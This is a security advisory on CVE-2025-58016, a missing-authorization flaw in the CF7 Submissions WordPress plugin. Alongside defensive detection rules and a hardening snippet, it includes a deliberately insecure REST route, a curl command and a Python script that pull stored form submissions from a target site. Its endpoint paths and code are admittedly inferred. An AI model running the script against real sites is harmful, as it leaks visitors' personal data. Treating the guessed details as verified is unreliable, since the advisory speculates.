CVE-2025-58016

Executive Summary

CVE-2025-58016 is a Missing Authorization vulnerability in the WordPress plugin CF7 Submissions by Codexpert, Inc. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive submission data from Contact Form 7 forms. The vulnerability affects all versions up to and including 0.27. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED.

The vulnerability is classified under CWE-862: Missing Authorization, with a CVSS v3.1 base score of 4.3 (Medium). The attack vector is network-based, requires low complexity, and no privileges or user interaction. The primary impact is on confidentiality, with no impact on integrity or availability.

Given that this is a WordPress plugin vulnerability, it falls squarely within the WordPress ecosystem. The risk is elevated due to the widespread use of Contact Form 7 and the potential for data leakage of form submissions, which may contain PII or other sensitive information.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, users must rely on manual mitigation or removal of the plugin. The lack of a patch increases supply chain risk, as site administrators may be unaware of the vulnerability and continue using the affected version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for data leakage of form submissions (which may contain sensitive user data) elevates the real-world risk. The lack of a patch further increases urgency.

Deep Dive & Mechanics

The vulnerability resides in the CF7 Submissions plugin, which stores submissions from Contact Form 7 forms in the WordPress database and provides an admin interface to view them. The plugin fails to properly enforce authorization checks on certain REST API endpoints or AJAX actions, allowing unauthenticated users to retrieve submission data.

Root Cause: The plugin does not verify user capabilities (e.g., manage_options or edit_posts) before exposing submission data via API endpoints. This is a classic case of Missing Authorization (CWE-862).

Attack Vector: An attacker can send a crafted HTTP request to the vulnerable endpoint (e.g., /wp-json/cf7-submissions/v1/submissions or a custom AJAX handler) without any authentication token or cookie. The server responds with the stored form submission data, which may include fields like name, email, phone number, and custom form data.

Impact: Unauthorized access to all stored form submissions. This can lead to data breaches, privacy violations, and potential regulatory non-compliance (e.g., GDPR, CCPA).

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely registers a REST API route or AJAX action without proper capability checks.

Vulnerable Code (Example):

add_action( 'rest_api_init', function () {
    register_rest_route( 'cf7-submissions/v1', '/submissions', array(
        'methods' => 'GET',
        'callback' => 'get_all_submissions',
        'permission_callback' => '__return_true' // Missing authorization!
    ) );
} );

function get_all_submissions( $request ) {
    global $wpdb;
    $table_name = $wpdb->prefix . 'cf7_submissions';
    $results = $wpdb->get_results( "SELECT * FROM $table_name" );
    return rest_ensure_response( $results );
}

Patched Code (Expected):

add_action( 'rest_api_init', function () {
    register_rest_route( 'cf7-submissions/v1', '/submissions', array(
        'methods' => 'GET',
        'callback' => 'get_all_submissions',
        'permission_callback' => function() {
            return current_user_can( 'manage_options' ); // Proper authorization
        }
    ) );
} );

The fix requires adding a permission_callback that checks for the appropriate user capability (e.g., manage_options or edit_posts).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with CF7 Submissions plugin version <= 0.27 installed and active.
• At least one Contact Form 7 form with submissions stored.

Exploitation Steps:

1. Identify the vulnerable endpoint: The plugin likely exposes a REST API endpoint. Common patterns include:

   • /wp-json/cf7-submissions/v1/submissions
   • /wp-json/cf7-submissions/v1/entries
   • Custom AJAX actions like admin-ajax.php?action=cf7_get_submissions

2. Send an unauthenticated GET request:

   curl -X GET "http://target-site.com/wp-json/cf7-submissions/v1/submissions"
   

3. Parse the response: The server will return a JSON array of all stored submissions, including form data.

Example Exploit Script (Python):

import requests

target = "http://target-site.com"
endpoint = "/wp-json/cf7-submissions/v1/submissions"

response = requests.get(target + endpoint)
if response.status_code == 200:
    submissions = response.json()
    for sub in submissions:
        print(f"ID: {sub['id']}, Data: {sub['data']}")
else:
    print(f"Failed: {response.status_code}")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual GET requests to /wp-json/cf7-submissions/v1/ or admin-ajax.php?action=cf7_get_submissions from unauthenticated IPs.
• Look for spikes in API calls to these endpoints.
• Check server logs for 200 responses to these endpoints without prior authentication.

Hardening (Until Patch):

1. Disable the plugin if not essential.
2. Add a custom capability check via a mu-plugin:

   add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
       if ( strpos( $request->get_route(), 'cf7-submissions' ) !== false ) {
           if ( ! current_user_can( 'manage_options' ) ) {
               return new WP_Error( 'rest_forbidden', 'Unauthorized', array( 'status' => 403 ) );
           }
       }
       return $result;
   }, 10, 3 );
   

3. Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint from non-admin IPs.
4. Restrict access to the WordPress REST API using plugins like "Disable REST API" or custom .htaccess rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /wp-json/cf7-submissions/v1/submissions or similar endpoints.
• Requests to admin-ajax.php with action parameter cf7_get_submissions or similar.
• User-Agent strings commonly used by automated scanners (e.g., python-requests, curl).

File IOCs:

• Presence of the plugin directory: /wp-content/plugins/cf7-submissions/
• Version file: /wp-content/plugins/cf7-submissions/readme.txt containing "Stable tag: 0.27" or lower.

Log IOCs:

• Apache/Nginx access logs showing 200 responses to the vulnerable endpoint from non-authenticated IPs.
• WordPress debug logs (if enabled) showing REST API requests without authentication.

Detection Engineering

YARA Rule

rule Detect_CF7_Submissions_Vulnerability {
    meta:
        description = "Detects CF7 Submissions plugin files indicating vulnerable version <= 0.27"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $version_string = "Stable tag: 0.27" nocase
        $plugin_header = "Plugin Name: CF7 Submissions" nocase
        $vuln_function = "get_all_submissions" nocase
    condition:
        $plugin_header and ($version_string or $vuln_function)
}

Sigma Rule

title: Unauthenticated Access to CF7 Submissions API
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthenticated GET requests to the CF7 Submissions plugin REST API endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/wp-json/cf7-submissions/v1/submissions'
            - '/wp-json/cf7-submissions/v1/entries'
            - '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - 'action=cf7_get_submissions*'
    condition: selection
falsepositives:
    - Legitimate admin users accessing the plugin's admin page (should be authenticated)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-58016 - Unauthenticated CF7 Submissions API Access";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/wp-json/cf7-submissions/v1/submissions";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the CF7 Submissions plugin until a patch is released.
2. Manually add authorization checks using a custom mu-plugin (see Blue Team section).
3. Review server logs for any signs of exploitation (unusual API calls to the vulnerable endpoint).

Long-term Fix:

• Monitor the WordPress Plugin Directory for an official update from Codexpert, Inc.
• Once patched, update to the latest version immediately.
• Consider using alternative plugins for storing CF7 submissions that have proper security practices.

General Best Practices:

• Regularly audit WordPress plugins for vulnerabilities.
• Implement a Web Application Firewall (WAF) with virtual patching capabilities.
• Enforce least privilege for all API endpoints.
• Keep all plugins, themes, and WordPress core updated.

Valters IT
Securing Digital Frontiers